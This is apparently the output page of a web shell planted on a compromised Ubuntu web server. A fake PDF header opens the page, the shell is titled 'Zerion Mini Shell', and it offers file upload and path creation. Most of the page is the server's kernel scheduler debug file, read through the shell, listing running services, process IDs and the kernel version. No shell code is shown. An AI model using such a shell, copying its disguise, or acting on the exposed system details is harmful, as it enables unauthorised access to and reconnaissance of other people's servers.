%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/proc/
Upload File :
Create Path :
Current File : //proc/thread-self/root/proc/sched_debug

Sched Debug Version: v0.11, 5.4.0-135-generic #152-Ubuntu
ktime                                   : 75334625938.271216
sched_clk                               : 75331928512.443684
cpu_clk                                 : 75331928443.245104
jiffies                                 : 23128548762
sched_clock_stable()                    : 1

sysctl_sched
  .sysctl_sched_latency                    : 12.000000
  .sysctl_sched_min_granularity            : 1.500000
  .sysctl_sched_wakeup_granularity         : 2.000000
  .sysctl_sched_child_runs_first           : 0
  .sysctl_sched_features                   : 2042683
  .sysctl_sched_tunable_scaling            : 1 (logarithmic)

cpu#0, 2100.004 MHz
  .nr_running                    : 1
  .nr_switches                   : 19936178080
  .nr_load_updates               : 0
  .nr_uninterruptible            : 12761970
  .next_balance                  : 23128.548750
  .curr->pid                     : 3530388
  .clock                         : 75331928440.937893
  .clock_task                    : 75331928440.937893
  .avg_idle                      : 876646
  .max_idle_balance_cost         : 500000

cfs_rq[0]:/autogroup-6273442
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 495242.404312
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -1182934943.877205
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 10
  .runnable_load_avg             : 0
  .util_avg                      : 10
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 10
  .tg_load_avg                   : 48
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 75331928355.582494
  .se->vruntime                  : 1183430183.304434
  .se->sum_exec_runtime          : 984263.313585
  .se->load.weight               : 836026
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 8
  .se->avg.util_avg              : 10
  .se->avg.runnable_load_avg     : 0

cfs_rq[0]:/autogroup-58
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 405007617.391597
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -778422568.889920
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1048576
  .runnable_weight               : 1048576
  .load_avg                      : 3
  .runnable_load_avg             : 0
  .util_avg                      : 3
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 3
  .tg_load_avg                   : 16
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 75331928440.937893
  .se->vruntime                  : 1183430186.281517
  .se->sum_exec_runtime          : 432775002.027079
  .se->load.weight               : 1035430
  .se->runnable_weight           : 1035430
  .se->avg.load_avg              : 7
  .se->avg.util_avg              : 3
  .se->avg.runnable_load_avg     : 7

cfs_rq[0]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 1183430186.281517
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : 0.000000
  .nr_spread_over                : 0
  .nr_running                    : 1
  .load                          : 1035430
  .runnable_weight               : 1035430
  .load_avg                      : 17
  .runnable_load_avg             : 7
  .util_avg                      : 14
  .util_est_enqueued             : 57
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[0]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.090042
  .rt_runtime                    : 950.000000

dl_rq[0]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S       kthreadd     2 1183428655.267517    304271   120         0.000000     40931.750343         0.000000 0 0 /
 I         rcu_gp     3 597516580.215633         5   100         0.000000         0.051775         0.000000 0 0 /
 I     rcu_par_gp     4        15.970381         2   100         0.000000         0.000000         0.000000 0 0 /
 I   kworker/0:0H     6        19.970379         4   100         0.000000         0.000000         0.000000 0 0 /
 I   kworker/0:1H     8 1183430158.405667  94169579   100         0.000000   5183340.019004         0.000000 0 0 /
 S    ksoftirqd/0    10 1183430180.232253  17739300   120         0.000000    754498.180694         0.000000 0 0 /
 I      rcu_sched    11 1183430180.318497 774594984   120         0.000000  20040928.296204         0.000000 0 0 /
 S    migration/0    12         0.000000  19164504     0         0.000000    484622.081122         0.000000 0 0 /
 S  idle_inject/0    13         0.000000         3    49         0.000000         0.007707         0.000000 0 0 /
 S        cpuhp/0    15      3045.049666        10   120         0.000000         0.218727         0.000000 0 0 /
 Srcu_tasks_kthre    24        60.433731         2   120         0.000000         0.000000         0.000000 0 0 /
 S     khungtaskd    26 1183428659.712681    623498   120         0.000000    187230.100829         0.000000 0 0 /
 S           ksmd    30        76.519490         2   125         0.000000         0.000000         0.000000 0 0 /
 I        kblockd    79        78.645761         2   100         0.000000         0.000000         0.000000 0 0 /
 I        ata_sff    82       270.662735         2   100         0.000000         0.041950         0.000000 0 0 /
 I             md    83       276.690289         2   100         0.000000         0.027557         0.000000 0 0 /
 S      watchdogd    86         5.999997         2     0         0.000000         0.000000         0.000000 0 0 /
 S        kswapd0    89 1183425738.014625    110909   120         0.000000    148124.127237         0.000000 0 0 /
 Secryptfs-kthrea    90       310.769458         2   120         0.000000         0.038234         0.000000 0 0 /
 I       kthrotld    92       316.791306         2   100         0.000000         0.024225         0.000000 0 0 /
 S      scsi_eh_0    94       655.018282         4   120         0.000000         0.762135         0.000000 0 0 /
 I     scsi_tmf_1    97 185361322.159106         3   100         0.000000         0.074003         0.000000 0 0 /
 Ivfio-irqfd-clea    99       581.186379         2   100         0.000000         0.039829         0.000000 0 0 /
 I  ipv6_addrconf   102       629.507340         2   100         0.000000         0.035059         0.000000 0 0 /
 Icharger_manager   127       717.669466         2   100         0.000000         0.020548         0.000000 0 0 /
 I         cryptd   176      1016.354006         2   100         0.000000         0.011462         0.000000 0 0 /
 S           none   382 1172418032.816797      1691   120         0.000000        47.660346         0.000000 0 0 /
 I         kaluad   576      4541.750225         2   100         0.000000         0.020906         0.000000 0 0 /
 I   kmpath_rdacd   577      4550.853884         2   100         0.000000         0.033964         0.000000 0 0 /
 S     multipathd   581         0.000000  15066720     0         0.000000    922158.042433         0.000000 0 0 /autogroup-29
 S     multipathd   584         0.000000  75326331     0         0.000000   6603874.001951         0.000000 0 0 /autogroup-29
 S     multipathd   586         0.000000         3     0         0.000000         0.346325         0.000000 0 0 /autogroup-29
 S    dbus-daemon   670   4316201.962821  15891002   120         0.000000   8702310.717344         0.000000 0 0 /autogroup-45
 S     irqbalance   679   2860173.596945   7566156   120         0.000000   5789680.587398         0.000000 0 0 /autogroup-49
 Snetworkd-dispat   682      3299.998617      2777   120         0.000000      6558.637785         0.000000 0 0 /autogroup-51
 S           cron   699    785305.909588   1332436   120         0.000000    410561.007959         0.000000 0 0 /autogroup-56
 S     php-fpm7.4   701 405007598.581973  82929787   120         0.000000   7723160.860293         0.000000 0 0 /autogroup-58
 S          gmain   719    397113.708519      5895   120         0.000000       945.183890         0.000000 0 0 /autogroup-65
 S probing-thread   769    144580.759163        47   120         0.000000         4.221474         0.000000 0 0 /autogroup-65
 S         agetty   791        -1.711865        12   120         0.000000         5.573756         0.000000 0 0 /autogroup-88
 S         agetty   820         0.832290        24   120         0.000000         8.124661         0.000000 0 0 /autogroup-90
 I  xfs_mru_cache 525424  21738768.526473         2   100         0.000000         0.017954         0.000000 0 0 /
 Ssystemd-network 1899542    520038.258683   1504081   120         0.000000    964272.231723         0.000000 0 0 /autogroup-557756
 Ssystemd-resolve 1899568   8730242.709381  38719657   120         0.000000  17901584.653954         0.000000 0 0 /autogroup-557758
 S     sd-resolve 1899708    277647.716781        18   120         0.000000         4.517249         0.000000 0 0 /autogroup-557763
 S  systemd-udevd 1900950   1432085.999484   2787719   120         0.000000   1546889.911721         0.000000 0 0 /autogroup-557775
 S           qmgr 2866281   2333839.394431    246930   120         0.000000    137415.823003         0.000000 0 0 /autogroup-2835683
 S       rsyslogd 2866827  24895533.702632 2314336983   120         0.000000  27646342.366830         0.000000 0 0 /autogroup-2835685
 S    in:imuxsock 2866828  24895572.726243 643605841   120         0.000000  16129311.786073         0.000000 0 0 /autogroup-2835685
 S  rs:main Q:Reg 2866830  24895567.606247 2279097815   120         0.000000  42792243.896687         0.000000 0 0 /autogroup-2835685
 S          uuidd 945910        73.473230        48   120         0.000000        82.017510         0.000000 0 0 /autogroup-3405043
 S         tlsmgr 312647   2333840.952295     67620   120         0.000000     48331.628022         0.000000 0 0 /autogroup-2835683
 S     php-fpm5.6 1854863   3742335.764888        42   120         0.000000       285.493522         0.000000 0 0 /autogroup-57
 S     php-fpm5.6 1854864   3687336.424320        83   120         0.000000        70.241454         0.000000 0 0 /autogroup-57
 S            php 1857783 405007596.488280  25442990   120         0.000000   6063552.684545         0.000000 0 0 /autogroup-58
 S           sshd 3184031    480132.211481    399349   120         0.000000    189692.362082         0.000000 0 0 /autogroup-6381149
 S     php-fpm7.4 3530384 405007617.391597    123713   120         0.000000    149062.926932         0.000000 0 0 /autogroup-58
 S     php-fpm7.4 3530386 404983883.486137    100554   120         0.000000    120895.611056         0.000000 0 0 /autogroup-58
>R     php-fpm7.4 3530388 405007611.457832    123978   120         0.000000    149262.434650         0.000000 0 0 /autogroup-58
 S        apache2 3557006    495128.840570      8765   120         0.000000     11852.825973         0.000000 0 0 /autogroup-6273442
 S        apache2 3557924    495120.785881      8247   120         0.000000     10681.264355         0.000000 0 0 /autogroup-6273442
 I    kworker/0:0 3560013 1183334134.982858      4989   120         0.000000       328.569451         0.000000 0 0 /
 S        apache2 3560381    495129.595549      6627   120         0.000000      8299.816746         0.000000 0 0 /autogroup-6273442
 I    kworker/0:1 3560853 1183430180.246559     27051   120         0.000000      1743.197654         0.000000 0 0 /
 S        apache2 3563321    495242.404312      2203   120         0.000000      2648.075519         0.000000 0 0 /autogroup-6273442
 S         pickup 3564545   2333844.532208        12   120         0.000000        13.802436         0.000000 0 0 /autogroup-2835683
 S           sshd 3564747        25.617617         5   120         0.000000        35.273262         0.000000 0 0 /autogroup-6511154

cpu#1, 2100.004 MHz
  .nr_running                    : 0
  .nr_switches                   : 20701427807
  .nr_load_updates               : 0
  .nr_uninterruptible            : -12761970
  .next_balance                  : 23128.548753
  .curr->pid                     : 0
  .clock                         : 75331928440.974579
  .clock_task                    : 75331928440.974579
  .avg_idle                      : 1000000
  .max_idle_balance_cost         : 500000

cfs_rq[1]:/autogroup-58
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 305216596.432673
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -878213589.848844
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 13
  .runnable_load_avg             : 0
  .util_avg                      : 13
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 13
  .tg_load_avg                   : 16
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 75331928355.042894
  .se->vruntime                  : 1091163669.600550
  .se->sum_exec_runtime          : 335757254.572476
  .se->load.weight               : 830122
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 10
  .se->avg.util_avg              : 13
  .se->avg.runnable_load_avg     : 0

cfs_rq[1]:/autogroup-6273442
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 511226.877397
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -1182918959.404120
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 38
  .runnable_load_avg             : 0
  .util_avg                      : 38
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 38
  .tg_load_avg                   : 48
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 75331928440.974579
  .se->vruntime                  : 1091163666.204923
  .se->sum_exec_runtime          : 1006656.799344
  .se->load.weight               : 830122
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 33
  .se->avg.util_avg              : 38
  .se->avg.runnable_load_avg     : 0

cfs_rq[1]:/autogroup-4918653
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 9443084.492477
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -1173987101.789040
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 0
  .runnable_load_avg             : 0
  .util_avg                      : 0
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0
  .se->exec_start                : 75331928356.864117
  .se->vruntime                  : 1091163663.690447
  .se->sum_exec_runtime          : 9444525.266840
  .se->load.weight               : 2
  .se->runnable_weight           : 2
  .se->avg.load_avg              : 0
  .se->avg.util_avg              : 0
  .se->avg.runnable_load_avg     : 0

cfs_rq[1]:/
  .exec_clock                    : 0.000000
  .MIN_vruntime                  : 0.000001
  .min_vruntime                  : 1091163669.600550
  .max_vruntime                  : 0.000001
  .spread                        : 0.000000
  .spread0                       : -92266516.680967
  .nr_spread_over                : 0
  .nr_running                    : 0
  .load                          : 0
  .runnable_weight               : 0
  .load_avg                      : 44
  .runnable_load_avg             : 0
  .util_avg                      : 52
  .util_est_enqueued             : 0
  .removed.load_avg              : 0
  .removed.util_avg              : 0
  .removed.runnable_sum          : 0
  .tg_load_avg_contrib           : 0
  .tg_load_avg                   : 0
  .throttled                     : 0
  .throttle_count                : 0

rt_rq[1]:
  .rt_nr_running                 : 0
  .rt_nr_migratory               : 0
  .rt_throttled                  : 0
  .rt_time                       : 0.157299
  .rt_runtime                    : 950.000000

dl_rq[1]:
  .dl_nr_running                 : 0
  .dl_nr_migratory               : 0
  .dl_bw->bw                     : 996147
  .dl_bw->total_bw               : 0

runnable tasks:
 S           task   PID         tree-key  switches  prio     wait-time             sum-exec        sum-sleep
-----------------------------------------------------------------------------------------------------------
 S        systemd     1  12482665.055918  59372789   120         0.000000  24275388.074179         0.000000 0 0 /autogroup-2
 I   mm_percpu_wq     9 670202965.995814         4   100         0.000000         0.020727         0.000000 0 0 /
 S        cpuhp/1    16      2014.640912        10   120         0.000000         5.360981         0.000000 0 0 /
 S  idle_inject/1    17        -2.989246         3    49         0.000000         0.020424         0.000000 0 0 /
 S    migration/1    18         0.000000  19160697     0         0.000000    450661.731805         0.000000 0 0 /
 S    ksoftirqd/1    19 1091163501.285285  22997678   120         0.000000    994743.232253         0.000000 0 0 /
 I   kworker/1:0H    21       525.257470         5   100         0.000000         0.065563         0.000000 0 0 /
 S      kdevtmpfs    22      2014.638652       185   120         0.000000        10.007438         0.000000 0 0 /
 I          netns    23        11.185421         2   100         0.000000         0.012229         0.000000 0 0 /
 S        kauditd    25 1060595128.256619        54   120         0.000000         2.049886         0.000000 0 0 /
 S     oom_reaper    27 1069774119.916918         6   120         0.000000        16.913905         0.000000 0 0 /
 I      writeback    28 154594556.685844        59   100         0.000000        14.047847         0.000000 0 0 /
 S     kcompactd0    29 1091112028.839026        74   120         0.000000       339.910664         0.000000 0 0 /
 S     khugepaged    31        37.068345         2   139         0.000000         0.000000         0.000000 0 0 /
 I    kintegrityd    78        83.095629         2   100         0.000000         0.000000         0.000000 0 0 /
 I blkcg_punt_bio    80        85.095627         2   100         0.000000         0.000000         0.000000 0 0 /
 I     tpm_dev_wq    81        85.116037         2   100         0.000000         0.020410         0.000000 0 0 /
 I    edac-poller    84       121.133420         2   100         0.000000         0.000000         0.000000 0 0 /
 I     devfreq_wq    85       121.133420         2   100         0.000000         0.000000         0.000000 0 0 /
 Iacpi_thermal_pm    93       433.619175         2   100         0.000000         0.025105         0.000000 0 0 /
 I     scsi_tmf_0    95       443.721303         2   100         0.000000         0.058002         0.000000 0 0 /
 S      scsi_eh_1    96 1090041971.193965      1474   120         0.000000       319.975358         0.000000 0 0 /
 I   kworker/1:1H   100 1091163653.412626 126502736   100         0.000000   4868056.881901         0.000000 0 0 /
 I          kstrp   111       584.329591         2   100         0.000000         0.016162         0.000000 0 0 /
 I   kworker/u5:0   114       608.031362         2   100         0.000000         0.008295         0.000000 0 0 /
 S      scsi_eh_2   172       814.337768         2   120         0.000000         0.011098         0.000000 0 0 /
 I     scsi_tmf_2   174       829.963410         2   100         0.000000         0.014296         0.000000 0 0 /
 I       ttm_swap   177       941.213182         3   100         0.000000         0.009258         0.000000 0 0 /
 I        raid5wq   242      1332.122389         2   100         0.000000         0.016473         0.000000 0 0 /
 S    jbd2/sda1-8   284 1091163606.637021 106324320   120         0.000000   6051535.430852         0.000000 0 0 /
 Iext4-rsv-conver   285      1489.399415         2   100         0.000000         0.015287         0.000000 0 0 /
 I        kmpathd   578      3371.361242         2   100         0.000000         0.018872         0.000000 0 0 /
 Ikmpath_handlerd   579      3371.379326         2   100         0.000000         0.020021         0.000000 0 0 /
 S     multipathd   580         0.000000  75997122     0         0.000000   6051547.126423         0.000000 0 0 /autogroup-29
 S     multipathd   582         0.000000         1     0         0.000000         1.230696         0.000000 0 0 /autogroup-29
 S     multipathd   583         0.000000   2511159     0         0.000000    150263.388364         0.000000 0 0 /autogroup-29
 S     multipathd   585         0.000000         7     0         0.000000         5.811298         0.000000 0 0 /autogroup-29
 S          gmain   681         5.754577         1   120         0.000000         0.087439         0.000000 0 0 /autogroup-49
 S     php-fpm5.6   700   3805071.517529  82806502   120         0.000000   7526104.840650         0.000000 0 0 /autogroup-57
 S systemd-logind   709   2090528.863738  17292551   120         0.000000   4197782.407825         0.000000 0 0 /autogroup-63
 S        udisksd   712    397771.729138    259359   120         0.000000    156681.573916         0.000000 0 0 /autogroup-65
 S          gdbus   721    255241.470057      4408   120         0.000000       784.537330         0.000000 0 0 /autogroup-65
 S        cleanup   814    144135.317500        13   120         0.000000         0.945111         0.000000 0 0 /autogroup-65
 S            atd   722      2557.888720     20946   120         0.000000      4634.136892         0.000000 0 0 /autogroup-67
 S        polkitd   764      3966.877573     34601   120         0.000000      2244.494279         0.000000 0 0 /autogroup-73
 S          gmain   765       836.742883        47   120         0.000000         2.414513         0.000000 0 0 /autogroup-73
 S          gdbus   767      3971.229074     42851   120         0.000000      7982.895881         0.000000 0 0 /autogroup-73
 Sunattended-upgr   768        37.929474       148   120         0.000000        84.108608         0.000000 0 0 /autogroup-74
 S          gmain   840        39.102688         1   120         0.000000         0.039208         0.000000 0 0 /autogroup-74
 I       xfsalloc 525423  21653903.893063         2   100         0.000000         0.078547         0.000000 0 0 /
 Ssystemd-journal 1899573  43464740.577771 506039765   119         0.000000 101152790.436885         0.000000 0 0 /autogroup-557760
 Ssystemd-timesyn 1899693    285026.955886    647060   120         0.000000    578737.302313         0.000000 0 0 /autogroup-557763
 S         master 2866279   2396437.217559  14146458   120         0.000000   1044907.483459         0.000000 0 0 /autogroup-2835683
 S      in:imklog 2866829  24909252.812963   2445318   120         0.000000    658489.984188         0.000000 0 0 /autogroup-2835685
 S     php-fpm5.6 1854865   3743521.920389         9   120         0.000000        55.261585         0.000000 0 0 /autogroup-57
 S        qemu-ga 1748778   9443084.492477 152609746   120         0.000000  18075571.864693         0.000000 0 0 /autogroup-4918653
 S        apache2 2805353    511212.774746   2586493   120         0.000000    271557.471934         0.000000 0 0 /autogroup-6273442
 S     php-fpm7.4 3530391 305216595.532162    122268   120         0.000000    149223.339430         0.000000 0 0 /autogroup-58
 S     php-fpm7.4 3530394 305216596.432673    124021   120         0.000000    151698.807809         0.000000 0 0 /autogroup-58
 S        apache2 3556997    511194.604707      3133   120         0.000000       243.132629         0.000000 0 0 /autogroup-6273442
 S        apache2 3557000    511124.584736      9004   120         0.000000     14683.361977         0.000000 0 0 /autogroup-6273442
 S        apache2 3557002    511129.413357     12354   120         0.000000     17028.850470         0.000000 0 0 /autogroup-6273442
 S        apache2 3557003    511226.877397     11420   120         0.000000     15274.966293         0.000000 0 0 /autogroup-6273442
 S        apache2 3557134    511123.327860      9652   120         0.000000     13059.105960         0.000000 0 0 /autogroup-6273442
 S        apache2 3559948    511125.705927      8356   120         0.000000     10738.118747         0.000000 0 0 /autogroup-6273442
 S        apache2 3562033    511121.076771      4720   120         0.000000      5553.268586         0.000000 0 0 /autogroup-6273442
 I    kworker/1:1 3562219 1091136523.313996     15574   120         0.000000       710.107032         0.000000 0 0 /
 I    kworker/1:2 3563615 1091163663.635392     13161   120         0.000000       638.203703         0.000000 0 0 /
 I   kworker/u4:2 3563706 1091163659.709991      6127   120         0.000000       565.397181         0.000000 0 0 /
 I   kworker/u4:1 3564472 1091163385.162026       950   120         0.000000        86.101134         0.000000 0 0 /
 I   kworker/u4:0 3564695 1091163431.051130       545   120         0.000000        46.874743         0.000000 0 0 /
 S           sshd 3564748        23.551420        11   120         0.000000        11.177447         0.000000 0 0 /autogroup-6511154


Zerion Mini Shell 1.0